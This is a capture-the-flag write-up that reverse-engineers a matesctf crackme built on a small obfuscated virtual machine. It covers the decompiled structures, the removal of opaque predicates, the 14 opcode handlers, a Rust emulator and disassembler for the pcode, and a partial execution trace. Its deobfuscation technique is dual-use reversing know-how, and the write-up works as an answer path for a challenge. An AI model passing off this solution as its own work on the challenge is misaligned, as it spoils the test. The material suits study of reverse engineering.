struct vm_ctx 34 | { 35 | char vm_memory_255[255]; // VM memory 36 | char password[255]; // password buffer 37 | short gap_2_1FE; // gap 38 | int pcode_size; // size of pcode 39 | char *pcode; // pcode pointer 40 | char REGS[4]; // registers array 41 | int _EIP; // pcode index 42 | int mem_idx; // memory index 43 | enum STATUS_E VM_STATUS; // current VM status 44 | }; 45 | 46 | enum STATUS_E 47 | { 48 | VM_NO_OPCODE = 0x1, // there is no such opcode, VM stops 49 | VM_REG_IDX_OVERFLOW = 0x2, // reg idx >= 4, VM stops 50 | VM_CONTINUE = 0x3, // all is ok, goto next instruction 51 | VM_MAX_EIP = 0x4, // end of pcode, VM stops 52 | VM_WIN = 0x5, // we win or we fail, VM stops 53 | }; 54 | ``` 55 | and the main function at the address 0x0417C40 with 14 handlers, which is a bit obfuscated. 56 | 57 | Due to obfuscation, IDA cannot make a function and decompile the code to reduce the analysis time. But it's not a problem for us ;) 58 | 59 | In short, the VM works like this: VMs themselves are initialized - registers, memory, pointers, counters, then the pcode is initialized, reads the password, pass is copied into the virtual machine memory, then the main VM loop (in which the instructions are executed one by one), and if after it `vm_ctx->password[21] = 1;` then we won. 60 | 61 | The same, only code, not text :D 62 | ```C 63 | void wmain(void) 64 | { 65 | enum VM_STATUS_E error; // ST0C_4 66 | bool win_byte; // al MAPDST 67 | int *stdout; // eax MAPDST 68 | char password[20]; // [esp+0h] [ebp-238h] 69 | vm_ctx vm_ctx; // [esp+18h] [ebp-220h] 70 | 71 | write(&g_stdout, "Welcome to matesctf challenge!\n"); 72 | f_init_vm(&vm_ctx); 73 | if (f_init_pcode(&vm_ctx, g_pcode, 172)) 74 | { 75 | write(&g_stdout, "Password:"); 76 | memset(password, 0, 0x14u); 77 | read(&g_stdin, password); 78 | f_init_pass_in_vm(&vm_ctx, password); 79 | if (f_vm_main(&vm_ctx) == 1) 80 | { 81 | write(&g_stdout, "...\n"); 82 | win_byte = f_ret_win_byte(&vm_ctx); 83 | if (win_byte == TRUE) 84 | { 85 | write(&g_stdout, "Nice! you found it!\n"); 86 | stdout = write(&g_stdout, "Your flag is: matesctf{"); 87 | stdout = write(stdout, password); 88 | write(stdout, "}\n"); 89 | } 90 | else 91 | { 92 | write(&g_stdout, "No sorry. It's wrong.\n"); 93 | } 94 | system("pause"); 95 | } 96 | else 97 | { 98 | error = f_ret_error(&vm_ctx); 99 | write(&g_stdout, "...Err Code:"); 100 | f_write_error(error); 101 | } 102 | } 103 | else 104 | { 105 | write(&g_stdout, "Failed to load VM code! ;)\n"); 106 | } 107 | } 108 | 109 | bool __thiscall f_init_vm(vm_ctx *vm_ctx) 110 | { 111 | signed int i; // [esp+4h] [ebp-4h] 112 | 113 | for (i = 0; i <= 4; ++i) 114 | vm_ctx->REGS[i] = 0; 115 | vm_ctx->_EIP = 0; 116 | vm_ctx->mem_idx = 10; 117 | vm_ctx->pcode_size = 0; 118 | vm_ctx->pcode = 0; 119 | memset(vm_ctx->password, 0, 0xFFu); 120 | return TRUE; 121 | } 122 | 123 | bool __thiscall f_init_pcode(vm_ctx *vm_ctx, char *pcode, signed int pcode_size) 124 | { 125 | if (pcode_size > 255) 126 | return FALSE; 127 | vm_ctx->pcode = pcode; 128 | vm_ctx->pcode_size = pcode_size; 129 | return TRUE; 130 | } 131 | 132 | bool __thiscall f_init_pass_in_vm(vm_ctx *vm_ctx, char *password) 133 | { 134 | _f_init_pass_in_vm(vm_ctx, password, 0, 0x14u); 135 | return TRUE; 136 | } 137 | 138 | bool __thiscall _f_init_pass_in_vm(vm_ctx *vm_ctx, char *password, char idx_zero, size_t size) 139 | { 140 | memcpy(&vm_ctx->password[idx_zero], password, size); 141 | return TRUE; 142 | } 143 | 144 | bool __thiscall f_vm_main(vm_ctx *vm_ctx) 145 | { 146 | for (vm_ctx->VM_STATUS = VM_CONTINUE; vm_ctx->VM_STATUS == VM_CONTINUE; vm_ctx->VM_STATUS = VM_MAIN(vm_ctx)) 147 | ; 148 | return vm_ctx->VM_STATUS == VM_WIN; 149 | } 150 | 151 | bool __thiscall f_ret_win_byte(vm_ctx *this) 152 | { 153 | bool win_byte; // [esp+7h] [ebp-1h] 154 | 155 | _f_ret_win_byte(this, &win_byte, 21, 1u); 156 | return win_byte; 157 | } 158 | 159 | bool __thiscall _f_ret_win_byte(vm_ctx *vm_ctx, void *dst, bool idx_21, size_t size) 160 | { 161 | memcpy(dst, &vm_ctx->password[idx_21], size); 162 | return TRUE; 163 | } 164 | 165 | enum VM_STATUS_E __thiscall f_ret_error(vm_ctx *vm_ctx) 166 | { 167 | return vm_ctx->VM_STATUS; 168 | } 169 | ``` 170 | 171 | Now a little more interesting - VM_MAIN deobfuscation and analysis of handlers. 172 | 173 | ## Deobfuscation 174 | 175 | We have simple obfuscation, a few opaque predicates, and a few small tricks like this: 176 | ```x86asm 177 | .text:004181F9 js short loc_4181FF ; at least one of these JMP's will always taken 178 | .text:004181FB jns short loc_4181FF ; because condition like `if (false || true) then jmp` 179 | .text:004181FD jmp short near ptr loc_41820A+1 180 | ``` 181 | ```x86asm 182 | .text:00417C9B push eax ; push -> pop == nop 183 | .text:00417C9C jz short fake_pop_eax ; opaque predicate, part1 184 | .text:00417C9E pop eax ; push -> pop == nop 185 | .text:00417C9F jnz short real_code ; opaque predicate, part2 186 | .text:00417CA1 pusha ; here we never get 187 | .text:00417CA2 movsb 188 | .text:00417CA3 mov dl, 0FCh 189 | .text:00417CA5 mov eax, 0F63780DDh 190 | .text:00417CA5 ; --------------------------------------------------------------------------- 191 | .text:00417CAA db 67h, 1Ch 192 | .text:00417CAC ; --------------------------------------------------------------------------- 193 | .text:00417CAC 194 | .text:00417CAC fake_pop_eax: 195 | .text:00417CAC pop eax ; push -> pop == nop 196 | .text:00417CAD 197 | .text:00417CAD real_code: 198 | .text:00417CAD movsx eax, byte ptr [ebp-3] ; real code 199 | ``` 200 | ```x86asm 201 | .text:00418272 push eax 202 | .text:00418273 call inc_ret_addr ; same as `jmp 0x0418279` 203 | .text:00418278 push ecx ; for this reason this code will never be executed 204 | .text:00418279 js short fake_pop_then_real_code ; opaque predicate, part1 205 | .text:0041827B mov eax, 0CC316234h ; garbage, because push eax -> pop eax 206 | .text:00418280 jns short fake_pop_then_real_code ; opaque predicate, part2 207 | .text:00418280 ; --------------------------------------------------------------------------- 208 | .text:00418282 db 0DCh 209 | .text:00418283 ; --------------------------------------------------------------------------- 210 | .text:00418283 211 | .text:00418283 inc_ret_addr: 212 | .text:00418283 pop eax 213 | .text:00418284 inc eax 214 | .text:00418285 push eax 215 | .text:00418286 retn 216 | .text:00418286 ; --------------------------------------------------------------------------- 217 | .text:00418287 db 0DCh 218 | .text:00418288 ; --------------------------------------------------------------------------- 219 | .text:00418288 220 | .text:00418288 fake_pop_then_real_code: 221 | .text:00418288 ; .text:00418280↑j 222 | .text:00418288 pop eax ; push -> pop == nop 223 | .text:00418289 movsx ecx, byte ptr [ebp-3] ; real code 224 | ``` 225 | 226 | How many times I face such a simple obfuscation on CTF's-still can not figure out how to automate deobfuscation: sometimes [optimice](https://code.google.com/archive/p/optimice/)(does not work in IDA 7.x), sometimes only manually. 227 | 228 | Here we will combine these methods - for this, we use the patcher for IDA - [keypatch](https://github.com/keystone-engine/keypatch) for NOP the garbage instructions, and then `optimice` to optimize the function and its CFG (remove the extra NOP's and JMP's, due to which there will be a nice graph of the function). 229 | 230 | ## Analysis of handlers 231 | 232 | And so, obfuscation was removed, all unnecessary NOPed - we can decompile a function in IDA - let's go analyze handlers! We have as already mentioned - 14 handlers. 233 | Decompiler gives us this code: 234 | ```C 235 | STATUS_E __thiscall VM_MAIN(vm_ctx *vm_ctx) 236 | { 237 | STATUS_E result; // eax 238 | char byte_0; // ST19_1 239 | char byte_1; // ST19_1 MAPDST 240 | char *pcode; // [esp+14h] [ebp-8h] 241 | char REG_1; // [esp+19h] [ebp-3h] MAPDST 242 | char REG_2; // [esp+1Bh] [ebp-1h] MAPDST 243 | 244 | if (vm_ctx->_EIP >= vm_ctx->pcode_size) 245 | return 4; 246 | pcode = vm_ctx->pcode; 247 | byte_0 = pcode[vm_ctx->_EIP++]; 248 | switch (byte_0) 249 | { 250 | case 0: 251 | byte_1 = pcode[vm_ctx->_EIP++]; 252 | vm_ctx->vm_memory_255[++vm_ctx->mem_idx] = byte_1; 253 | goto ret_CONTINUE; 254 | 255 | case 1: 256 | REG_1 = pcode[vm_ctx->_EIP++]; 257 | if (REG_1 > 4) 258 | return VM_REG_IDX_OVERFLOW; 259 | vm_ctx->vm_memory_255[++vm_ctx->mem_idx] = vm_ctx->REGS[REG_1]; 260 | goto ret_CONTINUE; 261 | 262 | case 2: 263 | REG_1 = pcode[vm_ctx->_EIP++]; 264 | if (REG_1 > 4) 265 | return VM_REG_IDX_OVERFLOW; 266 | vm_ctx->REGS[REG_1] = vm_ctx->vm_memory_255[vm_ctx->mem_idx--]; 267 | goto ret_CONTINUE; 268 | 269 | case 3: 270 | REG_1 = pcode[vm_ctx->_EIP++]; 271 | REG_2 = pcode[vm_ctx->_EIP++]; 272 | if (REG_1 > 4 || REG_2 > 4) 273 | return VM_REG_IDX_OVERFLOW; 274 | vm_ctx->REGS[REG_1] = vm_ctx->REGS[REG_2]; 275 | goto ret_CONTINUE; 276 | 277 | case 4: 278 | REG_1 = pcode[vm_ctx->_EIP++]; 279 | if (REG_1 > 4) 280 | return VM_REG_IDX_OVERFLOW; 281 | byte_1 = pcode[vm_ctx->_EIP++]; 282 | vm_ctx->REGS[REG_1] = byte_1; 283 | goto ret_CONTINUE; 284 | 285 | case 5: 286 | REG_1 = pcode[vm_ctx->_EIP++]; 287 | if (REG_1 > 4) 288 | return VM_REG_IDX_OVERFLOW; 289 | byte_1 = pcode[vm_ctx->_EIP++]; 290 | vm_ctx->REGS[REG_1] = vm_ctx->password[byte_1]; 291 | goto ret_CONTINUE; 292 | 293 | case 6: 294 | REG_1 = pcode[vm_ctx->_EIP++]; 295 | REG_2 = pcode[vm_ctx->_EIP++]; 296 | if (REG_2 > 4) 297 | return VM_REG_IDX_OVERFLOW; 298 | vm_ctx->password[REG_1] = vm_ctx->REGS[REG_2]; 299 | goto ret_CONTINUE; 300 | 301 | case 7: 302 | REG_1 = pcode[vm_ctx->_EIP++]; 303 | if (REG_1 > 4) 304 | return VM_REG_IDX_OVERFLOW; 305 | byte_1 = pcode[vm_ctx->_EIP++]; 306 | vm_ctx->REGS[REG_1] -= byte_1; 307 | goto ret_CONTINUE; 308 | 309 | case 8: 310 | REG_1 = pcode[vm_ctx->_EIP++]; 311 | if (REG_1 > 4) 312 | return VM_REG_IDX_OVERFLOW; 313 | byte_1 = pcode[vm_ctx->_EIP++]; 314 | vm_ctx->REGS[REG_1] += byte_1; 315 | goto ret_CONTINUE; 316 | 317 | case 9: 318 | ++vm_ctx->_EIP; 319 | goto ret_CONTINUE; 320 | 321 | case 10: 322 | REG_1 = pcode[vm_ctx->_EIP++]; 323 | REG_2 = pcode[vm_ctx->_EIP++]; 324 | byte_1 = pcode[vm_ctx->_EIP++]; 325 | if (REG_1 > 4 || REG_2 > 4) 326 | return VM_REG_IDX_OVERFLOW; 327 | if (vm_ctx->REGS[REG_1] == vm_ctx->REGS[REG_2]) 328 | vm_ctx->_EIP += byte_1; 329 | goto ret_CONTINUE; 330 | 331 | case 11: 332 | byte_1 = pcode[vm_ctx->_EIP++]; 333 | vm_ctx->_EIP += byte_1; 334 | goto ret_CONTINUE; 335 | 336 | case 12: 337 | ++vm_ctx->_EIP; 338 | return VM_WIN; 339 | 340 | case 13: 341 | REG_1 = pcode[vm_ctx->_EIP++]; 342 | if (REG_1 <= 4) 343 | { 344 | byte_1 = pcode[vm_ctx->_EIP++]; 345 | vm_ctx->REGS[REG_1] ^= byte_1; 346 | ret_CONTINUE: 347 | result = VM_CONTINUE; 348 | } 349 | else 350 | { 351 | result = VM_REG_IDX_OVERFLOW; 352 | } 353 | break; 354 | 355 | default: 356 | return VM_NO_OPCODE; 357 | } 358 | return result; 359 | } 360 | ``` 361 | 362 | A well-read and easy-to-understand code, and instead of 363 | ```x86asm 364 | .text:0041838C HANDLERS_TABLE dd offset loc_417CC8 ; jump table for switch statement 365 | .text:0041838C dd offset loc_417D1B 366 | .text:0041838C dd offset loc_417D8C 367 | .text:0041838C dd offset loc_417DFD 368 | .text:0041838C dd offset loc_417E88 369 | .text:0041838C dd offset loc_417F11 370 | .text:0041838C dd offset loc_417F93 371 | .text:0041838C dd offset loc_418015 372 | .text:0041838C dd offset loc_41809E 373 | .text:0041838C dd offset loc_418127 374 | .text:0041838C dd offset loc_418141 375 | .text:0041838C dd offset loc_41824B 376 | .text:0041838C dd offset loc_4182A4 377 | .text:0041838C dd offset loc_4182C3 378 | ``` 379 | 380 | After analysis, get this :) 381 | 382 | Where MEM - bytes of VM memory, BYTE - byte from pcode, REG - register, PASS - bytes from the password. 383 | ```x86asm 384 | .text:0041838C HANDLERS_TABLE dd offset MOV_MEM_BYTE ; jump table for switch statement 385 | .text:0041838C dd offset MOV_MEM_REG 386 | .text:0041838C dd offset MOV_REG_MEM 387 | .text:0041838C dd offset MOV_REG_REG 388 | .text:0041838C dd offset MOV_REG_BYTE 389 | .text:0041838C dd offset MOV_REG_PASS 390 | .text:0041838C dd offset MOV_PASS_REG 391 | .text:0041838C dd offset SUB_REG_BYTE 392 | .text:0041838C dd offset ADD_REG_BYTE 393 | .text:0041838C dd offset NOP 394 | .text:0041838C dd offset JMP_IF_REGa_EQ_REGb 395 | .text:0041838C dd offset JMP_EIP_plus_BYTE 396 | .text:0041838C dd offset WIN 397 | .text:0041838C dd offset XOR_REG_BYTE 398 | ``` 399 | 400 | Now at least a little you can imagine what is happening in the VM. 401 | 402 | ## Write a Rust pcode disassembler 403 | CTF is over, we have a lot of time, so I decided to practice a new for me (a month on it) and a very cool language - Rust. 404 | 405 | We rewrite the VM_MAIN code to Rust and in the process add the disassembly of instructions(you can run it at https://play.rust-lang.org): 406 | ```rust 407 | use std::io; 408 | 409 | fn main() { 410 | println!("Welcome to matesctf challenge!\n(Reversed and rewritten from C++ to Rust by Kosbeg)"); 411 | 412 | let mut need_disasm = true; 413 | let mut disasm_as_pseudocode = true; 414 | 415 | println!("Do you want to disasm execution trace? Yes by default. (y\\n)"); 416 | let mut flg = "".to_string(); 417 | 418 | match io::stdin().read_line(&mut flg) { 419 | Ok(_ok) => { 420 | flg = flg.trim().to_string(); 421 | flg = if flg.is_empty() { "y".to_string() } else { flg } 422 | } 423 | Err(_err) => flg = "y".to_string(), 424 | } 425 | 426 | let byte = flg.as_bytes()[0]; 427 | if byte == b'n' || byte == b'N' { 428 | need_disasm = false; 429 | } else { 430 | println!("Do you want to disasm as pseudocode? Yes by default. (y\\n)"); 431 | 432 | let mut flg = "".to_string(); 433 | 434 | match io::stdin().read_line(&mut flg) { 435 | Ok(_ok) => { 436 | flg = flg.trim().to_string(); 437 | flg = if flg.is_empty() { "y".to_string() } else { flg } 438 | } 439 | Err(_err) => flg = "y".to_string(), 440 | } 441 | 442 | let byte = flg.as_bytes()[0]; 443 | if byte == b'n' || byte == b'N' { 444 | disasm_as_pseudocode = false; 445 | } 446 | } 447 | 448 | let pcode = vec![ 449 | 0x00, 0x10, 0x02, 0x00, 0x05, 0x01, 0x00, 0x0D, 0x01, 0x63, 0x0A, 0x00, 0x01, 0x01, 0x0C, 450 | 0x05, 0x00, 0x01, 0x08, 0x00, 0x45, 0x07, 0x00, 0x09, 0x05, 0x01, 0x02, 0x0A, 0x00, 0x01, 451 | 0x01, 0x0C, 0x01, 0x00, 0x05, 0x00, 0x03, 0x0B, 0x03, 0x00, 0x03, 0x08, 0x08, 0x00, 0x07, 452 | 0x0D, 0x00, 0x1B, 0x05, 0x01, 0x04, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x0D, 0x01, 0x5F, 0x05, 453 | 0x02, 0x05, 0x0A, 0x01, 0x02, 0x01, 0x0C, 0x08, 0x02, 0x2C, 0x05, 0x03, 0x06, 0x0A, 0x02, 454 | 0x03, 0x01, 0x0C, 0x0D, 0x03, 0x2D, 0x05, 0x02, 0x07, 0x0A, 0x02, 0x03, 0x01, 0x0C, 0x07, 455 | 0x02, 0x41, 0x05, 0x01, 0x08, 0x0A, 0x01, 0x02, 0x01, 0x0C, 0x08, 0x01, 0x36, 0x05, 0x00, 456 | 0x09, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x08, 0x00, 0x01, 0x05, 0x01, 0x0A, 0x0A, 0x00, 0x01, 457 | 0x01, 0x0C, 0x0D, 0x01, 0x1C, 0x05, 0x00, 0x0B, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x0D, 0x00, 458 | 0x74, 0x05, 0x01, 0x0C, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x04, 0x03, 0x00, 0x0A, 0x03, 0x01, 459 | 0x01, 0x0C, 0x02, 0x03, 0x08, 0x03, 0x06, 0x05, 0x02, 0x00, 0x0A, 0x03, 0x02, 0x01, 0x0C, 460 | 0x04, 0x00, 0x01, 0x06, 0x15, 0x00, 0x0C, 461 | ]; // pcode: .data:00423488..=0x0423533 462 | 463 | let mut password: [u8; 255] = [0; 255]; // password and IS_WIN_BYTE(pass[21]) buffer 464 | 465 | println!("Password:"); 466 | let mut password_s = "".to_string(); 467 | io::stdin().read_line(&mut password_s).unwrap(); 468 | password_s = password_s.trim().to_string(); // read password from user 469 | 470 | password[..password_s.len()].clone_from_slice(&password_s.as_bytes()[..password_s.len()]); // copy password to buffer 471 | 472 | // println!("{:?}", password.to_vec()); // debug 473 | 474 | println!(); 475 | 476 | let mut vm_memory_255: [u8; 255] = [0; 255]; // vm_memory 477 | let mut memory_idx: u8 = 10; 478 | let mut regs: [u8; 4] = [0; 4]; // registers array 479 | 480 | let mut eip: u8 = 0; // pcode index 481 | let (mut byte_0, mut byte_1, mut reg_1, mut reg_2, mut last_eip): (u8, u8, u8, u8, u8); // tmp variables 482 | 483 | let mut mnem_str = "".to_string(); // mnemonic string 484 | 485 | let mut need_break: bool = false; 486 | let mut flag_is_eq: bool = false; 487 | 488 | loop { 489 | last_eip = eip; 490 | byte_0 = pcode[eip as usize]; 491 | eip += 1; 492 | 493 | match OPCODE::from_u8(byte_0) { 494 | MOV_MEM_BYTE => { 495 | byte_1 = pcode[eip as usize]; 496 | eip += 1; 497 | memory_idx += 1; 498 | vm_memory_255[memory_idx as usize] = byte_1; 499 | 500 | if disasm_as_pseudocode { 501 | mnem_str = format!("memory[{}] = {}", memory_idx, byte_1); 502 | } else { 503 | mnem_str = format!("mov memory[{}], {}", memory_idx, byte_1); 504 | } 505 | } 506 | 507 | MOV_MEM_REG => { 508 | reg_1 = pcode[eip as usize]; 509 | eip += 1; 510 | memory_idx += 1; 511 | vm_memory_255[memory_idx as usize] = regs[reg_1 as usize]; 512 | 513 | if disasm_as_pseudocode { 514 | mnem_str = format!( 515 | "memory[{}] = REG{}\t\t; REG{1} = {}", 516 | memory_idx, reg_1, regs[reg_1 as usize] 517 | ); 518 | } else { 519 | mnem_str = format!( 520 | "mov memory[{}], REG{}\t\t; REG{1} = {}", 521 | memory_idx, reg_1, regs[reg_1 as usize] 522 | ); 523 | } 524 | } 525 | 526 | MOV_REG_MEM => { 527 | reg_1 = pcode[eip as usize]; 528 | eip += 1; 529 | regs[reg_1 as usize] = vm_memory_255[memory_idx as usize]; 530 | memory_idx -= 1; 531 | 532 | if disasm_as_pseudocode { 533 | mnem_str = format!( 534 | "REG{} = memory[{}]\t\t; memory[{1}] = {}", 535 | reg_1, 536 | memory_idx + 1, 537 | regs[reg_1 as usize] 538 | ); 539 | } else { 540 | mnem_str = format!( 541 | "mov REG{}, memory[{}]\t\t; memory[{1}] = {}", 542 | reg_1, 543 | memory_idx + 1, 544 | regs[reg_1 as usize] 545 | ); 546 | } 547 | } 548 | 549 | MOV_REG_REG => { 550 | reg_1 = pcode[eip as usize]; 551 | eip += 1; 552 | 553 | reg_2 = pcode[eip as usize]; 554 | eip += 1; 555 | 556 | regs[reg_1 as usize] = regs[reg_2 as usize]; 557 | 558 | if disasm_as_pseudocode { 559 | mnem_str = format!( 560 | "REG{} = REG{}\t\t; REG{1} = {}", 561 | reg_1, reg_2, regs[reg_2 as usize] 562 | ); 563 | } else { 564 | mnem_str = format!( 565 | "mov REG{}, REG{}\t\t; REG{1} = {}", 566 | reg_1, reg_2, regs[reg_2 as usize] 567 | ); 568 | } 569 | } 570 | 571 | MOV_REG_BYTE => { 572 | reg_1 = pcode[eip as usize]; 573 | eip += 1; 574 | 575 | byte_1 = pcode[eip as usize]; 576 | eip += 1; 577 | 578 | regs[reg_1 as usize] = byte_1; 579 | 580 | if disasm_as_pseudocode { 581 | mnem_str = format!("REG{} = {}", reg_1, byte_1); 582 | } else { 583 | mnem_str = format!("mov REG{}, {}", reg_1, byte_1); 584 | } 585 | } 586 | 587 | MOV_REG_PASS => { 588 | reg_1 = pcode[eip as usize]; 589 | eip += 1; 590 | 591 | byte_1 = pcode[eip as usize]; 592 | eip += 1; 593 | 594 | regs[reg_1 as usize] = password[byte_1 as usize]; 595 | 596 | if disasm_as_pseudocode { 597 | mnem_str = format!( 598 | "REG{} = PASS[{}]\t\t\t; PASS[{1}] = {}", 599 | reg_1, byte_1, password[byte_1 as usize] 600 | ); 601 | } else { 602 | mnem_str = format!( 603 | "mov REG{}, PASS[{}]\t\t; PASS[{1}] = {}", 604 | reg_1, byte_1, password[byte_1 as usize] 605 | ); 606 | } 607 | } 608 | 609 | MOV_PASS_REG => { 610 | byte_1 = pcode[eip as usize]; 611 | eip += 1; 612 | 613 | reg_1 = pcode[eip as usize]; 614 | eip += 1; 615 | 616 | password[byte_1 as usize] = regs[reg_1 as usize]; 617 | 618 | if disasm_as_pseudocode { 619 | mnem_str = format!( 620 | "PASS[{}] = REG{}\t\t\t; REG{1} = {}", 621 | byte_1, reg_1, regs[reg_1 as usize] 622 | ); 623 | } else { 624 | mnem_str = format!( 625 | "mov PASS[{}], REG{}\t\t; REG{1} = {}", 626 | byte_1, reg_1, regs[reg_1 as usize] 627 | ); 628 | } 629 | } 630 | 631 | SUB_REG_BYTE => { 632 | reg_1 = pcode[eip as usize]; 633 | eip += 1; 634 | 635 | byte_1 = pcode[eip as usize]; 636 | eip += 1; 637 | 638 | regs[reg_1 as usize] -= byte_1; 639 | 640 | if disasm_as_pseudocode { 641 | mnem_str = format!( 642 | "REG{} -= {}\t\t\t; REG{0} = {} - {} = {}", 643 | reg_1, 644 | byte_1, 645 | regs[reg_1 as usize] + byte_1, 646 | byte_1, 647 | regs[reg_1 as usize] 648 | ); 649 | } else { 650 | mnem_str = format!( 651 | "sub REG{}, {}\t\t\t; REG{0} = {} - {} = {}", 652 | reg_1, 653 | byte_1, 654 | regs[reg_1 as usize] + byte_1, 655 | byte_1, 656 | regs[reg_1 as usize] 657 | ); 658 | } 659 | } 660 | 661 | ADD_REG_BYTE => { 662 | reg_1 = pcode[eip as usize]; 663 | eip += 1; 664 | 665 | byte_1 = pcode[eip as usize]; 666 | eip += 1; 667 | 668 | regs[reg_1 as usize] += byte_1; 669 | 670 | if disasm_as_pseudocode { 671 | mnem_str = format!( 672 | "REG{} += {}\t\t\t; REG{0} = {} + {} = {}", 673 | reg_1, 674 | byte_1, 675 | regs[reg_1 as usize] - byte_1, 676 | byte_1, 677 | regs[reg_1 as usize] 678 | ); 679 | } else { 680 | mnem_str = format!( 681 | "add REG{}, {}\t\t\t; REG{0} = {} + {} = {}", 682 | reg_1, 683 | byte_1, 684 | regs[reg_1 as usize] - byte_1, 685 | byte_1, 686 | regs[reg_1 as usize] 687 | ); 688 | } 689 | } 690 | 691 | NOP => { 692 | eip += 1; 693 | 694 | mnem_str = "NOP".to_string(); 695 | } 696 | 697 | JMP_IF_REGa_EQ_REGb => { 698 | reg_1 = pcode[eip as usize]; 699 | eip += 1; 700 | 701 | reg_2 = pcode[eip as usize]; 702 | eip += 1; 703 | 704 | byte_1 = pcode[eip as usize]; 705 | eip += 1; 706 | 707 | let mut is_taken = "not taken".to_string(); 708 | flag_is_eq = false; 709 | if regs[reg_1 as usize] == regs[reg_2 as usize] { 710 | flag_is_eq = true; 711 | is_taken = "taken".to_string(); 712 | } 713 | eip += byte_1; // do jump always, our main goal is disassembling 714 | 715 | mnem_str = format!( 716 | "if REG{} == REG{}: eip += {}\t; {} == {}\t\t; {}\n", 717 | reg_1, reg_2, byte_1, regs[reg_1 as usize], regs[reg_2 as usize], is_taken 718 | ); 719 | } 720 | 721 | JMP_EIP_plus_BYTE => { 722 | byte_1 = pcode[eip as usize]; 723 | eip += 1; 724 | eip += byte_1; 725 | 726 | mnem_str = format!("JMP: eip += {}", byte_1); 727 | } 728 | 729 | WIN => { 730 | eip += 1; 731 | need_break = true; 732 | } 733 | 734 | XOR_REG_BYTE => { 735 | reg_1 = pcode[eip as usize]; 736 | eip += 1; 737 | 738 | byte_1 = pcode[eip as usize]; 739 | eip += 1; 740 | 741 | regs[reg_1 as usize] ^= byte_1; 742 | 743 | if disasm_as_pseudocode { 744 | mnem_str = format!( 745 | "REG{} ^= {}\t\t\t; REG{0} = {} ^ {} = {}", 746 | reg_1, 747 | byte_1, 748 | regs[reg_1 as usize] ^ byte_1, 749 | byte_1, 750 | regs[reg_1 as usize] 751 | ); 752 | } else { 753 | mnem_str = format!( 754 | "xor REG{}, {}\t\t\t; REG{0} = {} ^ {} = {}", 755 | reg_1, 756 | byte_1, 757 | regs[reg_1 as usize] ^ byte_1, 758 | byte_1, 759 | regs[reg_1 as usize] 760 | ); 761 | } 762 | } 763 | } 764 | 765 | if need_break || eip + 1 > pcode.len() as u8 { 766 | break; 767 | } 768 | 769 | if need_disasm { 770 | let bytes; 771 | bytes = &pcode[(last_eip as usize)..(eip as usize)]; 772 | 773 | let mut bytes_str: String = "".to_string(); 774 | for byte in bytes { 775 | bytes_str = format!("{} {:02X}", bytes_str, byte); 776 | } 777 | while bytes_str.len() < 40 { 778 | bytes_str = format!("{} ", bytes_str); 779 | } 780 | 781 | print!("{}", bytes_str.trim_left()); 782 | println!("{}", mnem_str); 783 | } 784 | } 785 | 786 | if flag_is_eq { 787 | println!( 788 | "\n\nNice! you found it! Your flag is: matesctf{{{}}}", 789 | password_s 790 | ); 791 | } else { 792 | println!("\nNo sorry. It's wrong."); 793 | } 794 | } 795 | 796 | use OPCODE::*; 797 | 798 | #[allow(non_camel_case_types)] 799 | enum OPCODE { 800 | MOV_MEM_BYTE = 0x00, 801 | MOV_MEM_REG = 0x01, 802 | MOV_REG_MEM = 0x02, 803 | MOV_REG_REG = 0x03, 804 | MOV_REG_BYTE = 0x04, 805 | MOV_REG_PASS = 0x05, 806 | MOV_PASS_REG = 0x06, 807 | SUB_REG_BYTE = 0x07, 808 | ADD_REG_BYTE = 0x08, 809 | NOP = 0x09, 810 | JMP_IF_REGa_EQ_REGb = 0x0A, 811 | JMP_EIP_plus_BYTE = 0x0B, 812 | WIN = 0x0C, 813 | XOR_REG_BYTE = 0x0D, 814 | } 815 | 816 | impl OPCODE { 817 | fn from_u8(value: u8) -> OPCODE { 818 | match value { 819 | 0 => MOV_MEM_BYTE, 820 | 1 => MOV_MEM_REG, 821 | 2 => MOV_REG_MEM, 822 | 3 => MOV_REG_REG, 823 | 4 => MOV_REG_BYTE, 824 | 5 => MOV_REG_PASS, 825 | 6 => MOV_PASS_REG, 826 | 7 => SUB_REG_BYTE, 827 | 8 => ADD_REG_BYTE, 828 | 9 => NOP, 829 | 10 => JMP_IF_REGa_EQ_REGb, 830 | 11 => JMP_EIP_plus_BYTE, 831 | 12 => WIN, 832 | 13 => XOR_REG_BYTE, 833 | 834 | _ => panic!("Unknown value: {}", value), 835 | } 836 | } 837 | } 838 | ``` 839 | 840 | ## Analysis of VM listing and trace 841 | 842 | We get such a VM trace with a passing pcode execution and necessarily executed conditional transitions (if not to jump, then we get to the 0xC byte, which stops the VM, and says that we fail, and since it's not a disassembler and it is not recursive, but it's more like an emulator, then we need to jump): 843 | 844 | ``` 845 | 00 10 memory[11] = 16 846 | 02 00 REG0 = memory[11] ; memory[11] = 16 847 | 05 01 00 REG1 = PASS[0] ; PASS[0] = 0 848 | 0D 01 63 REG1 ^= 99 ; REG1 = 0 ^ 99 = 99 849 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 16 == 99 ; not taken 850 | 851 | 05 00 01 REG0 = PASS[1] ; PASS[1] = 0 852 | 08 00 45 REG0 += 69 ; REG0 = 0 + 69 = 69 853 | 07 00 09 REG0 -= 9 ; REG0 = 69 - 9 = 60 854 | 05 01 02 REG1 = PASS[2] ; PASS[2] = 0 855 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 60 == 0 ; not taken 856 | 857 | 01 00 memory[11] = REG0 ; REG0 = 60 858 | 05 00 03 REG0 = PASS[3] ; PASS[3] = 0 859 | 0B 03 00 03 08 JMP: eip += 3 860 | 08 00 07 REG0 += 7 ; REG0 = 0 + 7 = 7 861 | 0D 00 1B REG0 ^= 27 ; REG0 = 7 ^ 27 = 28 862 | 05 01 04 REG1 = PASS[4] ; PASS[4] = 0 863 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 28 == 0 ; not taken 864 | 865 | 0D 01 5F REG1 ^= 95 ; REG1 = 0 ^ 95 = 95 866 | 05 02 05 REG2 = PASS[5] ; PASS[5] = 0 867 | 0A 01 02 01 0C if REG1 == REG2: eip += 1 ; 95 == 0 ; not taken 868 | 869 | 08 02 2C REG2 += 44 ; REG2 = 0 + 44 = 44 870 | 05 03 06 REG3 = PASS[6] ; PASS[6] = 0 871 | 0A 02 03 01 0C if REG2 == REG3: eip += 1 ; 44 == 0 ; not taken 872 | 